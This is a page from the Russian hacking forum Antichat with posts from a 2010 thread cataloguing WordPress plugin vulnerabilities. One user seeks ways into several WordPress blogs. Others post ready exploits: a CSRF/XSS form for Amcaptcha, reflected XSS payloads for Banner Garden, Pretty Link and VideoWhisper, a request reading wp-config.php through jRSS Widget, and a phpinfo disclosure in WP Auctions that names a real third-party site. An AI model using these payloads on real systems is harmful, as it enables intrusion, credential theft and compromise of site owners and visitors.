ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #141  
Старый 27.01.2010, 20:11
Аватар для budden
budden
Участник форума
Регистрация: 26.07.2008
Сообщений: 267
Провел на форуме:
1343031

Репутация: 184
По умолчанию

Есть несколько блогов на одном серваке - версии: 1.5.2, 2.0, 2.0.2
Рега везде отключена.

Пробовал единственный подходящий эксплойт - безуспешно:
Wordpress <= 2.0.6 wp-trackback.php Zend_Hash_Del_Key_Or_Index / sql injection admin hash disclosure exploit

Еще можно что-нибудь предпринять?
 
Ответить с цитированием

  #142  
Старый 28.01.2010, 01:21
Аватар для [Raz0r]
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Цитата:
Еще можно что-нибудь предпринять?
http://www.milw0rm.com/exploits/3095

Цитата:
Раскрытие путей: http://site.com/wordpress/wp-admin/includes/plugin.php
страшный боян
 
Ответить с цитированием

  #143  
Старый 04.04.2010, 21:06
Аватар для total90
total90
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
Провел на форуме:
11581319

Репутация: 241
Отправить сообщение для total90 с помощью ICQ
По умолчанию

WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF

Ошибка в коде в функции:

PHP код:
function comment_post ($id){
    global 
$user_ID;
    global 
$langs;
    
    
$texts $langs[get_option('ac_lang')];
    
    if (
$user_ID)
        return 
$id;

    if (
$_POST[$_SESSION['amcaptcha_session']] != '1'){
        
wp_delete_comment($id);
        echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
        exit;
    }

а точнее:

PHP код:
if ($_POST[$_SESSION['amcaptcha_session']] != '1'){
    
wp_delete_comment($id);
    echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
    exit;

если чел не передал сессию этого модуля ( а точнее не отметил чекбокс --
"Подтверждаю, что я не спам-бот" ) то модуль выдает ошибку и при этом не
фильтрует $_POST['comment'].

Сам сплойт выглядит так :
Код:
<html>
<head>
<title>WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF
Exploit</title>
<!--
Vulnerability found by total90, exploit written by Dr.TRO
-->
</head>
<body>
<form action="http://[Домен][Путь к WP]wp-comments-post.php" method="post"
name="commentform">
<input type="hidden" name="author" value="Dr.TRO" />
<input type="hidden" name="email" value="drtro.public@gmail.com" />
<input type="hidden" name="comment" value="[Уязвимое место]" />
<input type="hidden" name="comment_post_ID" value="[ID существующего
поста]" />
<input type="submit" name="submit" value="Request" />
</form>
</body>
</html>
Анализ кода и сплойт by Dr.TRO
Google dork: Для того, чтобы иметь возможность комментировать, включите
JavaScript в Вашем браузере.

Последний раз редактировалось total90; 05.04.2010 в 22:41..
 
Ответить с цитированием

  #144  
Старый 06.05.2010, 13:48
Аватар для winlogon.exe
winlogon.exe
Участник форума
Регистрация: 05.06.2009
Сообщений: 225
Провел на форуме:
2793173

Репутация: 297
Отправить сообщение для winlogon.exe с помощью ICQ
По умолчанию

как узнать версию wp ?
 
Ответить с цитированием

  #145  
Старый 07.05.2010, 22:46
Аватар для total90
total90
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
Провел на форуме:
11581319

Репутация: 241
Отправить сообщение для total90 с помощью ICQ
По умолчанию

Цитата:
Сообщение от winlogon.exe  
как узнать версию wp ?
В исходникe стрaницы зaчaстую eсть.
п.с. в этой тeмe это считaeтся оффтопом.
 
Ответить с цитированием

  #146  
Старый 15.05.2010, 10:55
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Banner Garden Версия 0.1.3
скачал туто: http://wordpress.org/extend

bg-plugin-ajax.php - в корне плагина.

Пасивная XSS

PHP код:
header('Content-type: text/html; charset=UTF-8');
    require_once (
"../../../wp-config.php");
    
load_plugin_textdomain'bannergarden'falsedirnameplugin_basename__FILE__ )).'/localization' );
    require_once (
"bannergarden.class.php");
    if (
class_exists('BannerGarden')) {
        
$bg = new BannerGarden();
    }

    switch (
$_POST["type"]) {
        case 
"pic":
            
$val_arr = array('picture' => base64_decode($_POST["picture"]),
                                                
'link' => base64_decode($_POST["link"]),
                                                
'new_window' => $_POST["nw"]);
            
$frm $bg->GetBannerAjaxForm('pic',$val_arr);
            echo 
$frm;
            break;
/*...*/ 
bannergarden.class.php
PHP код:
/*...*/function GetBannerAjaxForm($type,$values = array()) {
        switch (
$type) {
            
/**** Picture ****/
            
case "pic":
                
$picture '';
                
$link '';
                
$nw_checked '';
                
                if (
array_key_exists('picture',$values)) {
                    
$picture $values['picture'];
                }
                
                if (
array_key_exists('link',$values)) {
                    
$link $values['link'];
                }
                
                if (
array_key_exists('new_window',$values)) {
                    
$new_window $values['new_window'];
                    if (
$new_window == 1) {
                        
$nw_checked ' checked="checked"';
                    }
                }
                
                
$html '<div class="bg_label">'.__('URL of picture:','bannergarden').'</div>';
                
$html .= '<small>'.__('Type an image url, or upload / select and image for the banner.','bannergarden').'</small>';
                
$html .= '<div class="bg_input"><input type="text" id="adpicture" name="adpicture" value="'.$picture.'" /> <input id="upload_button" type="button" value="'.__('Upload / Select Image','bannergarden').'" /></div>';
                
                
$html .= '<div class="bg_label">'.__('Link on click:','bannergarden').'</div>';
                
$html .= '<small>'.__('Enter a URL where we redirect the user. Use full URL start with "http://" or "https://"','bannergarden').'</small>';
                
$html .= '<div class="bg_input"><input type="text" id="adlink" name="adlink" value="'.$link.'" /></div>';
                
                
$html .= '<div class="bg_label">'.__('Open in new window?','bannergarden').'</div>';
                
$html .= '<small>'.__('Check this box if you want the link to open in a new window.','bannergarden').'</small>';
                
$html .= '<div class="bg_input"><input type="checkbox" name="adnewwindow" value="1"'.$nw_checked.' /></div>';
                break;
/*...*/ 
Результат:
<form action="http://wordpress/wp-content/plugins/banner-garden/bg-plugin-ajax.php" method=post>
<input type=hidden name=link value="Ij48c2NyaXB0PmFsZXJ0KDEyMyk8L3NjcmlwdD48YnI =">
<input type=hidden name=type value=pic>
<input type=submit>
</form>
 
Ответить с цитированием

  #147  
Старый 16.05.2010, 15:33
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Pretty Link Version: 1.4.47
скачать

Пасивная XSS

http://[host]/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=<script>alert(123)</script>

уязвимый скрипт:
wp-content/plugins/pretty-link/pretty-bar.php

PHP код:
/*...*/
$target_url = $_GET['url'];

$shortened_title = stripslashes(substr($prli_blogname,0,$bar_title_limit));
$shortened_desc  = stripslashes(substr($prli_blogdescription,0,$bar_desc_limit));
$shortened_link  = stripslashes(substr($target_url,0,$bar_link_limit));

if(strlen($prli_blogname) > $bar_title_limit)
  $shortened_title .= "...";

if(strlen($prli_blogdescription) > $bar_desc_limit)
  $shortened_desc .= "...";

if(strlen($target_url) > $bar_link_limit)
  $shortened_link .= "...";
/*...*/

/*...*/
<?php if( $bar_show_target_url_link ) { ?>
            <a href="<?php echo $target_url?>" title="You're viewing: <?php echo $target_url?>" target="_top">Viewing: <?php echo $shortened_link?></a>
          <?php } else echo "&nbsp;"?>
/*...*/
Результат: http://[host]/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=<script>alert(123)</script>
 
Ответить с цитированием

  #148  
Старый 24.05.2010, 02:48
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

VideoWhisper Live Streaming Integration
Version: 2.1 Downloads 3,814 скачать

Как бы смотрел... Все-таки напишу хоть и пасивки...
Passive XSS

plugins/videowhisper-live-streaming-integration/ls/v_status.php
PHP код:
$room=$_POST[r];
$session=$_POST[s];
$username=$_POST[u];
$message=$_POST[m];

$currentTime=$_POST[ct];
$lastTime=$_POST[lt];

$maximumSessionTime=0; //900000ms=15 minutes; 0 for unlimited

$disconnect=""; //anything else than "" will disconnect with that message
?>timeTotal=<?=$maximumSessionTime?>&timeUsed=<?=$currentTime?>&lastTime=<?=$currentTime?>&disconnect=<?=$disconnect?>&loadstatus=1
Експлуатация:
Цитата:
POST
ct=<script>alert(123)</script>
Passive XSS
/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php
PHP код:
/*...*/
<div class="info"><h1><?=$_GET[message]?></h1>Chat session ended: You can close this window.</div>
/*...*/
http://[host]/[path]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=%3Cscript%3Ealert%28123%29%3 C/script%3E

Пишем в файл. Если есть LFI то повезло.
plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php
PHP код:
<?php
$username
=$_POST['u'];
$session=$_POST['s'];
$room=$_POST['r'];
$message=$_POST['msg'];
$time=$_POST['msgtime'];

//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;

$dir="uploads";
if (!
file_exists($dir)) mkdir($dir);
$dir.="/$room";
if (!
file_exists($dir)) mkdir($dir);

$day=date("y-M-j",time());

$dfile fopen("uploads/$room/Log$day.html","a");
fputs($dfile,$message."<BR>");
fclose($dfile);
?>loadstatus=1
Путь wp-content/plugins/videowhisper-live-streaming-integration/ls/uploads

Последний раз редактировалось Strilo4ka; 24.05.2010 в 03:11..
 
Ответить с цитированием

WordPress Plugin [jRSS Widget] File Disclosure Vulnerability
  #149  
Старый 30.05.2010, 12:32
Аватар для RulleR
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме:
3217552

Репутация: 1668
Отправить сообщение для RulleR с помощью ICQ Отправить сообщение для RulleR с помощью Yahoo
По умолчанию WordPress Plugin [jRSS Widget] File Disclosure Vulnerability

Plugin name: jRSS Widget (download)
Version: 1.0

File Disclosure

Vuln file: /wp-content/plugins/jrss-widget/proxy.php
PHP код:
header('Content-type: application/xml');
$handle fopen($_REQUEST['url'], "r");

if ( 
$handle ) {
    while ( !
feof($handle) ) {
        
$buffer fgets($handle4096);
        echo 
$buffer;
    }
    
fclose($handle);

Exploit:
Код:
POST http://[host]/[path]/wp-content/plugins/jrss-widget/proxy.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

url=../../../wp-config.php
__________________
Avant que l'ombre...

Последний раз редактировалось RulleR; 30.05.2010 в 12:34..
 
Ответить с цитированием

  #150  
Старый 06.06.2010, 03:51
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Плагин WP Auctions

Version: 1.7.4
Last Updated: 2010-6-5

Узнаем версию вордпрес + phpinfo().

/wp-content/plugins/wp-auctions/wp_auctions.php
PHP код:
/*...*/
if (strstr($_SERVER['PHP_SELF'],PLUGIN_EXTERNAL_PATH.PLUGIN_NAME) && isset($_GET['debug'])):
   echo 
"Version Number: ".$wpa_version;
   echo 
"<p>";
   
phpinfo();
endif;
/*...*/ 
Результат:
http://[host]/wp-content/plugins/wp-auctions/wp_auctions.php?debug

http://smarz1000.com/wp-content/plugins/wp-auctions/wp_auctions.php?debug

Еще версия вордпрес снизу:
http://[host]/wp-content/plugins/wp-auctions/wp_auctions.php?rss

Пути:
http://[host]/wp-content/plugins/wp-auctions/wpa_resizer.php?image=/

Еще раз пути в файле:
http://smarz1000.com/wp-content/plugins/wp-auctions/wp_auctions.php?rss

Последний раз редактировалось Strilo4ka; 06.06.2010 в 04:02..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Сценарии/CMF/СMS 184 15.06.2010 11:10
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Сценарии/CMF/СMS 42 07.05.2010 19:07
[ Обзор уязвимостей SLAED CMS ] _kREveDKo_ Сценарии/CMF/СMS 20 01.11.2009 14:28
ОБЗОР УЯЗВИМОСТЕЙ БЕСПЛАТНЫХ ПОЧТОВЫХ СЕРВИСОВ nike57 E-Mail 4 05.05.2006 22:03
Статья обзор уязвимостей бесплатных почтовых сервисов markel E-Mail 3 12.09.2005 10:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ